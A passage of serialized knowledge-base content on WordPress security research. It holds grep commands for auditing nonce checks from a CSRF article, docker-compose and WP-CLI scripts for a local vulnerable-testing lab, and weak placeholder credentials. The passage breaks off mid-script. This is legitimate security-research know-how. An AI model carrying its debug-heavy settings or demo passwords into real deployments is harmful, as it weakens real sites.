\"wp_nonce_field\\|wp_create_nonce\"",[36,26447,625],{"class":53},[36,26449,2442],{"class":605},[36,26451,631],{"class":53},[36,26453,502],{"class":95},[36,26455,540],{"class":53},[36,26457,2906],{"class":95},[36,26459,26460],{"class":38,"line":83},[36,26461,61],{"emptyLinePlaceholder":60},[36,26463,26464],{"class":38,"line":89},[36,26465,26466],{"class":42},"# Verify nonce action strings match between creation and verification\n",[36,26468,26469],{"class":38,"line":115},[36,26470,26471],{"class":42},"# (manual review: compare the action string in wp_create_nonce vs check_ajax_referer)\n",[36,26473,26474,26476,26478,26481],{"class":38,"line":133},[36,26475,490],{"class":49},[36,26477,493],{"class":95},[36,26479,26480],{"class":53}," \"wp_create_nonce\\|check_ajax_referer\\|wp_verify_nonce\"",[36,26482,155],{"class":95},[36,26484,26485,26487,26489,26491,26493,26495,26497],{"class":38,"line":138},[36,26486,3113],{"class":53},[36,26488,2442],{"class":605},[36,26490,631],{"class":53},[36,26492,502],{"class":95},[36,26494,540],{"class":53},[36,26496,103],{"class":102},[36,26498,26499],{"class":49}," sort\n",[2645,26501,26502],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}",{"title":31,"searchDepth":46,"depth":46,"links":26504},[26505,26506,26507,26508,26514,26520,26524,26528,26529,26530],{"id":23253,"depth":46,"text":23254},{"id":23303,"depth":46,"text":23304},{"id":23365,"depth":46,"text":23366},{"id":23465,"depth":46,"text":23466,"children":26509},[26510,26511,26512,26513],{"id":23469,"depth":57,"text":23470},{"id":23760,"depth":57,"text":23761},{"id":23982,"depth":57,"text":23983},{"id":24033,"depth":57,"text":24034},{"id":24143,"depth":46,"text":24144,"children":26515},[26516,26517,26518,26519],{"id":24147,"depth":57,"text":24148},{"id":24401,"depth":57,"text":24402},{"id":24609,"depth":57,"text":24610},{"id":24732,"depth":57,"text":24733},{"id":24885,"depth":46,"text":24886,"children":26521},[26522,26523],{"id":24892,"depth":57,"text":24893},{"id":25310,"depth":57,"text":25311},{"id":25440,"depth":46,"text":25441,"children":26525},[26526,26527],{"id":25444,"depth":57,"text":25445},{"id":25647,"depth":57,"text":25648},{"id":25960,"depth":46,"text":25961},{"id":26092,"depth":46,"text":26093},{"id":26390,"depth":46,"text":26391},"CSRF in the WordPress context, nonce-based protection gaps, building exploit pages, and chaining CSRF with XSS for admin takeover",{},"\u002Fknowledge-base\u002Fwordpress-csrf-attacks",{"title":23242,"description":26531},"knowledge-base\u002Fwordpress-csrf-attacks","lXn8rvQdxc1fs5N4JHk-w7hP1fiQ0gsQLZJlJmAw1tc",{"id":26538,"title":26539,"body":26540,"category":31968,"description":31969,"extension":2673,"meta":31970,"navigation":60,"order":133,"path":31971,"seo":31972,"stem":31973,"__hash__":31974},"knowledgeBase\u002Fknowledge-base\u002Fwordpress-security-testing-environments.md","WordPress Security Testing Environments",{"type":7,"value":26541,"toc":31933},[26542,26545,26548,26552,26556,27077,27179,27183,27404,27408,27411,27415,27844,27848,27851,28053,28057,28181,28185,28189,28375,28379,28485,28489,28682,28686,28793,28797,28801,28924,28928,29034,29038,29042,29220,29224,29610,29614,29617,29621,29649,29653,31143,31147,31151,31306,31310,31512,31516,31675,31679,31682,31930],[10,26543,26539],{"id":26544},"wordpress-security-testing-environments",[14,26546,26547],{},"Reproducible, isolated testing environments are essential for WordPress security research. This article covers Docker-based setups, WP-CLI automation, installing specific vulnerable versions, debugging configuration, and automation strategies for systematic testing.",[18,26549,26551],{"id":26550},"docker-based-wordpress-setup","Docker-Based WordPress Setup",[684,26553,26555],{"id":26554},"minimal-docker-composeyml","Minimal docker-compose.yml",[26,26557,26561],{"className":26558,"code":26559,"language":26560,"meta":31,"style":31},"language-yaml shiki shiki-themes github-light github-dark","# docker-compose.yml\nversion: '3.8'\n\nservices:\n  db:\n    image: mariadb:10.11\n    restart: unless-stopped\n    environment:\n      MYSQL_ROOT_PASSWORD: rootpassword\n      MYSQL_DATABASE: wordpress\n      MYSQL_USER: wpuser\n      MYSQL_PASSWORD: wppassword\n    volumes:\n      - db_data:\u002Fvar\u002Flib\u002Fmysql\n    healthcheck:\n      test: [\"CMD\", \"mariadb-admin\", \"ping\", \"-h\", \"localhost\", \"-u\", \"root\", \"-p$$MYSQL_ROOT_PASSWORD\"]\n      interval: 5s\n      timeout: 5s\n      retries: 10\n\n  wordpress:\n    image: wordpress:6.4-apache\n    restart: unless-stopped\n    depends_on:\n      db:\n        condition: service_healthy\n    ports:\n      - \"8080:80\"\n    environment:\n      WORDPRESS_DB_HOST: db\n      WORDPRESS_DB_USER: wpuser\n      WORDPRESS_DB_PASSWORD: wppassword\n      WORDPRESS_DB_NAME: wordpress\n      WORDPRESS_DEBUG: \"1\"\n      WORDPRESS_CONFIG_EXTRA: |\n        define('WP_DEBUG_LOG', true);\n        define('WP_DEBUG_DISPLAY', true);\n        define('SAVEQUERIES', true);\n        define('SCRIPT_DEBUG', true);\n        define('FS_METHOD', 'direct');\n    volumes:\n      - wp_data:\u002Fvar\u002Fwww\u002Fhtml\n      - .\u002Fplugins:\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\n      - .\u002Fthemes:\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fthemes\n      - .\u002Fuploads:\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\n\n  # WP-CLI as a one-shot service for setup automation\n  wpcli:\n    image: wordpress:cli-2.9\n    depends_on:\n      wordpress:\n        condition: service_started\n    volumes:\n      - wp_data:\u002Fvar\u002Fwww\u002Fhtml\n    user: \"33:33\"  # www-data user\n    entrypoint: [\"wp\", \"--allow-root\"]\n\nvolumes:\n  db_data:\n  wp_data:\n","yaml",[33,26562,26563,26568,26577,26581,26589,26596,26606,26616,26623,26633,26643,26653,26663,26670,26678,26685,26734,26744,26753,26763,26767,26774,26783,26791,26798,26805,26815,26822,26829,26835,26845,26854,26863,26872,26882,26892,26897,26902,26907,26912,26917,26923,26930,26937,26944,26951,26955,26960,26967,26977,26984,26992,27002,27009,27016,27030,27048,27053,27061,27069],{"__ignoreMap":31},[36,26564,26565],{"class":38,"line":39},[36,26566,26567],{"class":42},"# docker-compose.yml\n",[36,26569,26570,26572,26574],{"class":38,"line":46},[36,26571,22425],{"class":7061},[36,26573,1424],{"class":605},[36,26575,26576],{"class":53},"'3.8'\n",[36,26578,26579],{"class":38,"line":57},[36,26580,61],{"emptyLinePlaceholder":60},[36,26582,26583,26586],{"class":38,"line":64},[36,26584,26585],{"class":7061},"services",[36,26587,26588],{"class":605},":\n",[36,26590,26591,26594],{"class":38,"line":70},[36,26592,26593],{"class":7061},"  db",[36,26595,26588],{"class":605},[36,26597,26598,26601,26603],{"class":38,"line":78},[36,26599,26600],{"class":7061},"    image",[36,26602,1424],{"class":605},[36,26604,26605],{"class":53},"mariadb:10.11\n",[36,26607,26608,26611,26613],{"class":38,"line":83},[36,26609,26610],{"class":7061},"    restart",[36,26612,1424],{"class":605},[36,26614,26615],{"class":53},"unless-stopped\n",[36,26617,26618,26621],{"class":38,"line":89},[36,26619,26620],{"class":7061},"    environment",[36,26622,26588],{"class":605},[36,26624,26625,26628,26630],{"class":38,"line":115},[36,26626,26627],{"class":7061},"      MYSQL_ROOT_PASSWORD",[36,26629,1424],{"class":605},[36,26631,26632],{"class":53},"rootpassword\n",[36,26634,26635,26638,26640],{"class":38,"line":133},[36,26636,26637],{"class":7061},"      MYSQL_DATABASE",[36,26639,1424],{"class":605},[36,26641,26642],{"class":53},"wordpress\n",[36,26644,26645,26648,26650],{"class":38,"line":138},[36,26646,26647],{"class":7061},"      MYSQL_USER",[36,26649,1424],{"class":605},[36,26651,26652],{"class":53},"wpuser\n",[36,26654,26655,26658,26660],{"class":38,"line":144},[36,26656,26657],{"class":7061},"      MYSQL_PASSWORD",[36,26659,1424],{"class":605},[36,26661,26662],{"class":53},"wppassword\n",[36,26664,26665,26668],{"class":38,"line":158},[36,26666,26667],{"class":7061},"    volumes",[36,26669,26588],{"class":605},[36,26671,26672,26675],{"class":38,"line":255},[36,26673,26674],{"class":605},"      - ",[36,26676,26677],{"class":53},"db_data:\u002Fvar\u002Flib\u002Fmysql\n",[36,26679,26680,26683],{"class":38,"line":261},[36,26681,26682],{"class":7061},"    healthcheck",[36,26684,26588],{"class":605},[36,26686,26687,26690,26693,26696,26698,26701,26703,26706,26708,26711,26713,26716,26718,26721,26723,26726,26728,26731],{"class":38,"line":267},[36,26688,26689],{"class":7061},"      test",[36,26691,26692],{"class":605},": [",[36,26694,26695],{"class":53},"\"CMD\"",[36,26697,13002],{"class":605},[36,26699,26700],{"class":53},"\"mariadb-admin\"",[36,26702,13002],{"class":605},[36,26704,26705],{"class":53},"\"ping\"",[36,26707,13002],{"class":605},[36,26709,26710],{"class":53},"\"-h\"",[36,26712,13002],{"class":605},[36,26714,26715],{"class":53},"\"localhost\"",[36,26717,13002],{"class":605},[36,26719,26720],{"class":53},"\"-u\"",[36,26722,13002],{"class":605},[36,26724,26725],{"class":53},"\"root\"",[36,26727,13002],{"class":605},[36,26729,26730],{"class":53},"\"-p$$MYSQL_ROOT_PASSWORD\"",[36,26732,26733],{"class":605},"]\n",[36,26735,26736,26739,26741],{"class":38,"line":273},[36,26737,26738],{"class":7061},"      interval",[36,26740,1424],{"class":605},[36,26742,26743],{"class":53},"5s\n",[36,26745,26746,26749,26751],{"class":38,"line":279},[36,26747,26748],{"class":7061},"      timeout",[36,26750,1424],{"class":605},[36,26752,26743],{"class":53},[36,26754,26755,26758,26760],{"class":38,"line":285},[36,26756,26757],{"class":7061},"      retries",[36,26759,1424],{"class":605},[36,26761,26762],{"class":95},"10\n",[36,26764,26765],{"class":38,"line":291},[36,26766,61],{"emptyLinePlaceholder":60},[36,26768,26769,26772],{"class":38,"line":297},[36,26770,26771],{"class":7061},"  wordpress",[36,26773,26588],{"class":605},[36,26775,26776,26778,26780],{"class":38,"line":303},[36,26777,26600],{"class":7061},[36,26779,1424],{"class":605},[36,26781,26782],{"class":53},"wordpress:6.4-apache\n",[36,26784,26785,26787,26789],{"class":38,"line":308},[36,26786,26610],{"class":7061},[36,26788,1424],{"class":605},[36,26790,26615],{"class":53},[36,26792,26793,26796],{"class":38,"line":314},[36,26794,26795],{"class":7061},"    depends_on",[36,26797,26588],{"class":605},[36,26799,26800,26803],{"class":38,"line":320},[36,26801,26802],{"class":7061},"      db",[36,26804,26588],{"class":605},[36,26806,26807,26810,26812],{"class":38,"line":326},[36,26808,26809],{"class":7061},"        condition",[36,26811,1424],{"class":605},[36,26813,26814],{"class":53},"service_healthy\n",[36,26816,26817,26820],{"class":38,"line":331},[36,26818,26819],{"class":7061},"    ports",[36,26821,26588],{"class":605},[36,26823,26824,26826],{"class":38,"line":337},[36,26825,26674],{"class":605},[36,26827,26828],{"class":53},"\"8080:80\"\n",[36,26830,26831,26833],{"class":38,"line":343},[36,26832,26620],{"class":7061},[36,26834,26588],{"class":605},[36,26836,26837,26840,26842],{"class":38,"line":349},[36,26838,26839],{"class":7061},"      WORDPRESS_DB_HOST",[36,26841,1424],{"class":605},[36,26843,26844],{"class":53},"db\n",[36,26846,26847,26850,26852],{"class":38,"line":355},[36,26848,26849],{"class":7061},"      WORDPRESS_DB_USER",[36,26851,1424],{"class":605},[36,26853,26652],{"class":53},[36,26855,26856,26859,26861],{"class":38,"line":6676},[36,26857,26858],{"class":7061},"      WORDPRESS_DB_PASSWORD",[36,26860,1424],{"class":605},[36,26862,26662],{"class":53},[36,26864,26865,26868,26870],{"class":38,"line":6686},[36,26866,26867],{"class":7061},"      WORDPRESS_DB_NAME",[36,26869,1424],{"class":605},[36,26871,26642],{"class":53},[36,26873,26874,26877,26879],{"class":38,"line":6691},[36,26875,26876],{"class":7061},"      WORDPRESS_DEBUG",[36,26878,1424],{"class":605},[36,26880,26881],{"class":53},"\"1\"\n",[36,26883,26884,26887,26889],{"class":38,"line":6697},[36,26885,26886],{"class":7061},"      WORDPRESS_CONFIG_EXTRA",[36,26888,1424],{"class":605},[36,26890,26891],{"class":102},"|\n",[36,26893,26894],{"class":38,"line":6721},[36,26895,26896],{"class":53},"        define('WP_DEBUG_LOG', true);\n",[36,26898,26899],{"class":38,"line":19762},[36,26900,26901],{"class":53},"        define('WP_DEBUG_DISPLAY', true);\n",[36,26903,26904],{"class":38,"line":19774},[36,26905,26906],{"class":53},"        define('SAVEQUERIES', true);\n",[36,26908,26909],{"class":38,"line":23084},[36,26910,26911],{"class":53},"        define('SCRIPT_DEBUG', true);\n",[36,26913,26914],{"class":38,"line":23120},[36,26915,26916],{"class":53},"        define('FS_METHOD', 'direct');\n",[36,26918,26919,26921],{"class":38,"line":23151},[36,26920,26667],{"class":7061},[36,26922,26588],{"class":605},[36,26924,26925,26927],{"class":38,"line":23163},[36,26926,26674],{"class":605},[36,26928,26929],{"class":53},"wp_data:\u002Fvar\u002Fwww\u002Fhtml\n",[36,26931,26932,26934],{"class":38,"line":23168},[36,26933,26674],{"class":605},[36,26935,26936],{"class":53},".\u002Fplugins:\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\n",[36,26938,26939,26941],{"class":38,"line":23173},[36,26940,26674],{"class":605},[36,26942,26943],{"class":53},".\u002Fthemes:\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fthemes\n",[36,26945,26946,26948],{"class":38,"line":23178},[36,26947,26674],{"class":605},[36,26949,26950],{"class":53},".\u002Fuploads:\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\n",[36,26952,26953],{"class":38,"line":23185},[36,26954,61],{"emptyLinePlaceholder":60},[36,26956,26957],{"class":38,"line":23192},[36,26958,26959],{"class":42},"  # WP-CLI as a one-shot service for setup automation\n",[36,26961,26962,26965],{"class":38,"line":23200},[36,26963,26964],{"class":7061},"  wpcli",[36,26966,26588],{"class":605},[36,26968,26970,26972,26974],{"class":38,"line":26969},49,[36,26971,26600],{"class":7061},[36,26973,1424],{"class":605},[36,26975,26976],{"class":53},"wordpress:cli-2.9\n",[36,26978,26980,26982],{"class":38,"line":26979},50,[36,26981,26795],{"class":7061},[36,26983,26588],{"class":605},[36,26985,26987,26990],{"class":38,"line":26986},51,[36,26988,26989],{"class":7061},"      wordpress",[36,26991,26588],{"class":605},[36,26993,26995,26997,26999],{"class":38,"line":26994},52,[36,26996,26809],{"class":7061},[36,26998,1424],{"class":605},[36,27000,27001],{"class":53},"service_started\n",[36,27003,27005,27007],{"class":38,"line":27004},53,[36,27006,26667],{"class":7061},[36,27008,26588],{"class":605},[36,27010,27012,27014],{"class":38,"line":27011},54,[36,27013,26674],{"class":605},[36,27015,26929],{"class":53},[36,27017,27019,27022,27024,27027],{"class":38,"line":27018},55,[36,27020,27021],{"class":7061},"    user",[36,27023,1424],{"class":605},[36,27025,27026],{"class":53},"\"33:33\"",[36,27028,27029],{"class":42},"  # www-data user\n",[36,27031,27033,27036,27038,27041,27043,27046],{"class":38,"line":27032},56,[36,27034,27035],{"class":7061},"    entrypoint",[36,27037,26692],{"class":605},[36,27039,27040],{"class":53},"\"wp\"",[36,27042,13002],{"class":605},[36,27044,27045],{"class":53},"\"--allow-root\"",[36,27047,26733],{"class":605},[36,27049,27051],{"class":38,"line":27050},57,[36,27052,61],{"emptyLinePlaceholder":60},[36,27054,27056,27059],{"class":38,"line":27055},58,[36,27057,27058],{"class":7061},"volumes",[36,27060,26588],{"class":605},[36,27062,27064,27067],{"class":38,"line":27063},59,[36,27065,27066],{"class":7061},"  db_data",[36,27068,26588],{"class":605},[36,27070,27072,27075],{"class":38,"line":27071},60,[36,27073,27074],{"class":7061},"  wp_data",[36,27076,26588],{"class":605},[26,27078,27080],{"className":28,"code":27079,"language":30,"meta":31,"style":31},"# Start the stack\ndocker compose up -d\n\n# Wait for WordPress to be ready\ndocker compose exec wordpress wp --info --allow-root 2>\u002Fdev\u002Fnull || sleep 10\n\n# Verify services are running\ndocker compose ps\ndocker compose logs wordpress | tail -20\n",[33,27081,27082,27087,27101,27105,27110,27144,27148,27153,27162],{"__ignoreMap":31},[36,27083,27084],{"class":38,"line":39},[36,27085,27086],{"class":42},"# Start the stack\n",[36,27088,27089,27092,27095,27098],{"class":38,"line":46},[36,27090,27091],{"class":49},"docker",[36,27093,27094],{"class":53}," compose",[36,27096,27097],{"class":53}," up",[36,27099,27100],{"class":95}," -d\n",[36,27102,27103],{"class":38,"line":57},[36,27104,61],{"emptyLinePlaceholder":60},[36,27106,27107],{"class":38,"line":64},[36,27108,27109],{"class":42},"# Wait for WordPress to be ready\n",[36,27111,27112,27114,27116,27119,27122,27125,27128,27131,27133,27135,27138,27141],{"class":38,"line":70},[36,27113,27091],{"class":49},[36,27115,27094],{"class":53},[36,27117,27118],{"class":53}," exec",[36,27120,27121],{"class":53}," wordpress",[36,27123,27124],{"class":53}," wp",[36,27126,27127],{"class":95}," --info",[36,27129,27130],{"class":95}," --allow-root",[36,27132,22331],{"class":102},[36,27134,22334],{"class":53},[36,27136,27137],{"class":102}," ||",[36,27139,27140],{"class":49}," sleep",[36,27142,27143],{"class":95}," 10\n",[36,27145,27146],{"class":38,"line":78},[36,27147,61],{"emptyLinePlaceholder":60},[36,27149,27150],{"class":38,"line":83},[36,27151,27152],{"class":42},"# Verify services are running\n",[36,27154,27155,27157,27159],{"class":38,"line":89},[36,27156,27091],{"class":49},[36,27158,27094],{"class":53},[36,27160,27161],{"class":53}," ps\n",[36,27163,27164,27166,27168,27171,27173,27175,27177],{"class":38,"line":115},[36,27165,27091],{"class":49},[36,27167,27094],{"class":53},[36,27169,27170],{"class":53}," logs",[36,27172,27121],{"class":53},[36,27174,103],{"class":102},[36,27176,21477],{"class":49},[36,27178,7237],{"class":95},[684,27180,27182],{"id":27181},"extended-setup-with-debug-tools","Extended Setup with Debug Tools",[26,27184,27186],{"className":26558,"code":27185,"language":26560,"meta":31,"style":31},"# docker-compose.debug.yml (extends base compose)\nversion: '3.8'\n\nservices:\n  wordpress:\n    environment:\n      WORDPRESS_CONFIG_EXTRA: |\n        define('WP_DEBUG', true);\n        define('WP_DEBUG_LOG', '\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fdebug.log');\n        define('WP_DEBUG_DISPLAY', false);\n        define('SAVEQUERIES', true);\n        define('SCRIPT_DEBUG', true);\n        define('FS_METHOD', 'direct');\n        define('WP_DISABLE_FATAL_ERROR_HANDLER', true);\n        @ini_set('display_errors', 'On');\n        @ini_set('error_reporting', E_ALL);\n\n  phpmyadmin:\n    image: phpmyadmin:5.2\n    restart: unless-stopped\n    depends_on: [db]\n    ports:\n      - \"8081:80\"\n    environment:\n      PMA_HOST: db\n      PMA_USER: wpuser\n      PMA_PASSWORD: wppassword\n\n  mailhog:\n    image: mailhog\u002Fmailhog:latest\n    ports:\n      - \"1025:1025\"  # SMTP\n      - \"8025:8025\"  # Web UI\n",[33,27187,27188,27193,27201,27205,27211,27217,27223,27231,27236,27241,27246,27250,27254,27258,27263,27268,27273,27277,27284,27293,27301,27312,27318,27325,27331,27340,27349,27358,27362,27369,27378,27384,27394],{"__ignoreMap":31},[36,27189,27190],{"class":38,"line":39},[36,27191,27192],{"class":42},"# docker-compose.debug.yml (extends base compose)\n",[36,27194,27195,27197,27199],{"class":38,"line":46},[36,27196,22425],{"class":7061},[36,27198,1424],{"class":605},[36,27200,26576],{"class":53},[36,27202,27203],{"class":38,"line":57},[36,27204,61],{"emptyLinePlaceholder":60},[36,27206,27207,27209],{"class":38,"line":64},[36,27208,26585],{"class":7061},[36,27210,26588],{"class":605},[36,27212,27213,27215],{"class":38,"line":70},[36,27214,26771],{"class":7061},[36,27216,26588],{"class":605},[36,27218,27219,27221],{"class":38,"line":78},[36,27220,26620],{"class":7061},[36,27222,26588],{"class":605},[36,27224,27225,27227,27229],{"class":38,"line":83},[36,27226,26886],{"class":7061},[36,27228,1424],{"class":605},[36,27230,26891],{"class":102},[36,27232,27233],{"class":38,"line":89},[36,27234,27235],{"class":53},"        define('WP_DEBUG', true);\n",[36,27237,27238],{"class":38,"line":115},[36,27239,27240],{"class":53},"        define('WP_DEBUG_LOG', '\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fdebug.log');\n",[36,27242,27243],{"class":38,"line":133},[36,27244,27245],{"class":53},"        define('WP_DEBUG_DISPLAY', false);\n",[36,27247,27248],{"class":38,"line":138},[36,27249,26906],{"class":53},[36,27251,27252],{"class":38,"line":144},[36,27253,26911],{"class":53},[36,27255,27256],{"class":38,"line":158},[36,27257,26916],{"class":53},[36,27259,27260],{"class":38,"line":255},[36,27261,27262],{"class":53},"        define('WP_DISABLE_FATAL_ERROR_HANDLER', true);\n",[36,27264,27265],{"class":38,"line":261},[36,27266,27267],{"class":53},"        @ini_set('display_errors', 'On');\n",[36,27269,27270],{"class":38,"line":267},[36,27271,27272],{"class":53},"        @ini_set('error_reporting', E_ALL);\n",[36,27274,27275],{"class":38,"line":273},[36,27276,61],{"emptyLinePlaceholder":60},[36,27278,27279,27282],{"class":38,"line":279},[36,27280,27281],{"class":7061},"  phpmyadmin",[36,27283,26588],{"class":605},[36,27285,27286,27288,27290],{"class":38,"line":285},[36,27287,26600],{"class":7061},[36,27289,1424],{"class":605},[36,27291,27292],{"class":53},"phpmyadmin:5.2\n",[36,27294,27295,27297,27299],{"class":38,"line":291},[36,27296,26610],{"class":7061},[36,27298,1424],{"class":605},[36,27300,26615],{"class":53},[36,27302,27303,27305,27307,27310],{"class":38,"line":297},[36,27304,26795],{"class":7061},[36,27306,26692],{"class":605},[36,27308,27309],{"class":53},"db",[36,27311,26733],{"class":605},[36,27313,27314,27316],{"class":38,"line":303},[36,27315,26819],{"class":7061},[36,27317,26588],{"class":605},[36,27319,27320,27322],{"class":38,"line":308},[36,27321,26674],{"class":605},[36,27323,27324],{"class":53},"\"8081:80\"\n",[36,27326,27327,27329],{"class":38,"line":314},[36,27328,26620],{"class":7061},[36,27330,26588],{"class":605},[36,27332,27333,27336,27338],{"class":38,"line":320},[36,27334,27335],{"class":7061},"      PMA_HOST",[36,27337,1424],{"class":605},[36,27339,26844],{"class":53},[36,27341,27342,27345,27347],{"class":38,"line":326},[36,27343,27344],{"class":7061},"      PMA_USER",[36,27346,1424],{"class":605},[36,27348,26652],{"class":53},[36,27350,27351,27354,27356],{"class":38,"line":331},[36,27352,27353],{"class":7061},"      PMA_PASSWORD",[36,27355,1424],{"class":605},[36,27357,26662],{"class":53},[36,27359,27360],{"class":38,"line":337},[36,27361,61],{"emptyLinePlaceholder":60},[36,27363,27364,27367],{"class":38,"line":343},[36,27365,27366],{"class":7061},"  mailhog",[36,27368,26588],{"class":605},[36,27370,27371,27373,27375],{"class":38,"line":349},[36,27372,26600],{"class":7061},[36,27374,1424],{"class":605},[36,27376,27377],{"class":53},"mailhog\u002Fmailhog:latest\n",[36,27379,27380,27382],{"class":38,"line":355},[36,27381,26819],{"class":7061},[36,27383,26588],{"class":605},[36,27385,27386,27388,27391],{"class":38,"line":6676},[36,27387,26674],{"class":605},[36,27389,27390],{"class":53},"\"1025:1025\"",[36,27392,27393],{"class":42},"  # SMTP\n",[36,27395,27396,27398,27401],{"class":38,"line":6686},[36,27397,26674],{"class":605},[36,27399,27400],{"class":53},"\"8025:8025\"",[36,27402,27403],{"class":42},"  # Web UI\n",[18,27405,27407],{"id":27406},"wp-cli-for-automated-environment-setup","WP-CLI for Automated Environment Setup",[14,27409,27410],{},"WP-CLI is the command-line interface for WordPress and is indispensable for security testing automation.",[684,27412,27414],{"id":27413},"full-site-installation-script","Full Site Installation Script",[26,27416,27418],{"className":28,"code":27417,"language":30,"meta":31,"style":31},"#!\u002Fbin\u002Fbash\n# setup-wp-test-env.sh\n# Complete WordPress setup for security testing\n\nWP_DIR=\"\u002Fvar\u002Fwww\u002Fhtml\"\nWP_CLI=\"docker compose exec --user=www-data wordpress wp\"\nSITE_URL=\"http:\u002F\u002Flocalhost:8080\"\n\necho \"Installing WordPress core...\"\n$WP_CLI core install \\\n  --url=\"$SITE_URL\" \\\n  --title=\"Security Test Site\" \\\n  --admin_user=\"admin\" \\\n  --admin_password=\"Admin_Password_123!\" \\\n  --admin_email=\"admin@example.com\" \\\n  --skip-email\n\necho \"Setting permalink structure...\"\n$WP_CLI rewrite structure \"\u002F%postname%\u002F\" --hard\n\necho \"Creating test users...\"\n# Create one of each role for testing\n$WP_CLI user create subscriber subscriber@test.com \\\n  --role=subscriber \\\n  --user_pass=subscriber_pass \\\n  --first_name=Test \\\n  --last_name=Subscriber\n\n$WP_CLI user create contributor contributor@test.com \\\n  --role=contributor \\\n  --user_pass=contributor_pass\n\n$WP_CLI user create author author@test.com \\\n  --role=author \\\n  --user_pass=author_pass\n\n$WP_CLI user create editor editor@test.com \\\n  --role=editor \\\n  --user_pass=editor_pass\n\necho \"Disabling file editing in admin (not needed for CLI)...\"\n$WP_CLI config set DISALLOW_FILE_EDIT false --raw\n\necho \"Setting up basic content...\"\n$WP_CLI post create \\\n  --post_title=\"Test Post\" \\\n  --post_content=\"Test content\" \\\n  --post_status=publish\n\n$WP_CLI post create \\\n  --post_title=\"Private Post\" \\\n  --post_content=\"Secret content\" \\\n  --post_status=private \\\n  --post_author=1\n\necho \"List all users:\"\n$WP_CLI user list --fields=ID,user_login,roles,user_email\n\necho \"Setup complete. Site at: $SITE_URL\"\n",[33,27419,27420,27424,27429,27434,27438,27448,27458,27468,27472,27479,27487,27503,27513,27523,27533,27543,27548,27552,27559,27570,27574,27581,27586,27593,27605,27612,27619,27624,27628,27635,27646,27651,27655,27662,27673,27678,27682,27689,27700,27705,27709,27716,27721,27725,27732,27739,27751,27761,27766,27770,27776,27787,27796,27803,27808,27812,27819,27829,27833],{"__ignoreMap":31},[36,27421,27422],{"class":38,"line":39},[36,27423,4257],{"class":42},[36,27425,27426],{"class":38,"line":46},[36,27427,27428],{"class":42},"# setup-wp-test-env.sh\n",[36,27430,27431],{"class":38,"line":57},[36,27432,27433],{"class":42},"# Complete WordPress setup for security testing\n",[36,27435,27436],{"class":38,"line":64},[36,27437,61],{"emptyLinePlaceholder":60},[36,27439,27440,27443,27445],{"class":38,"line":70},[36,27441,27442],{"class":605},"WP_DIR",[36,27444,1220],{"class":102},[36,27446,27447],{"class":53},"\"\u002Fvar\u002Fwww\u002Fhtml\"\n",[36,27449,27450,27453,27455],{"class":38,"line":78},[36,27451,27452],{"class":605},"WP_CLI",[36,27454,1220],{"class":102},[36,27456,27457],{"class":53},"\"docker compose exec --user=www-data wordpress wp\"\n",[36,27459,27460,27463,27465],{"class":38,"line":83},[36,27461,27462],{"class":605},"SITE_URL",[36,27464,1220],{"class":102},[36,27466,27467],{"class":53},"\"http:\u002F\u002Flocalhost:8080\"\n",[36,27469,27470],{"class":38,"line":89},[36,27471,61],{"emptyLinePlaceholder":60},[36,27473,27474,27476],{"class":38,"line":115},[36,27475,1226],{"class":95},[36,27477,27478],{"class":53}," \"Installing WordPress core...\"\n",[36,27480,27481,27484],{"class":38,"line":133},[36,27482,27483],{"class":605},"$WP_CLI core install ",[36,27485,27486],{"class":95},"\\\n",[36,27488,27489,27492,27494,27496,27499,27501],{"class":38,"line":138},[36,27490,27491],{"class":605},"  --url",[36,27493,1220],{"class":102},[36,27495,631],{"class":53},[36,27497,27498],{"class":605},"$SITE_URL",[36,27500,631],{"class":53},[36,27502,155],{"class":49},[36,27504,27505,27508,27511],{"class":38,"line":144},[36,27506,27507],{"class":95},"  --title=",[36,27509,27510],{"class":53},"\"Security Test Site\"",[36,27512,155],{"class":95},[36,27514,27515,27518,27521],{"class":38,"line":158},[36,27516,27517],{"class":95},"  --admin_user=",[36,27519,27520],{"class":53},"\"admin\"",[36,27522,155],{"class":95},[36,27524,27525,27528,27531],{"class":38,"line":255},[36,27526,27527],{"class":95},"  --admin_password=",[36,27529,27530],{"class":53},"\"Admin_Password_123!\"",[36,27532,155],{"class":95},[36,27534,27535,27538,27541],{"class":38,"line":261},[36,27536,27537],{"class":95},"  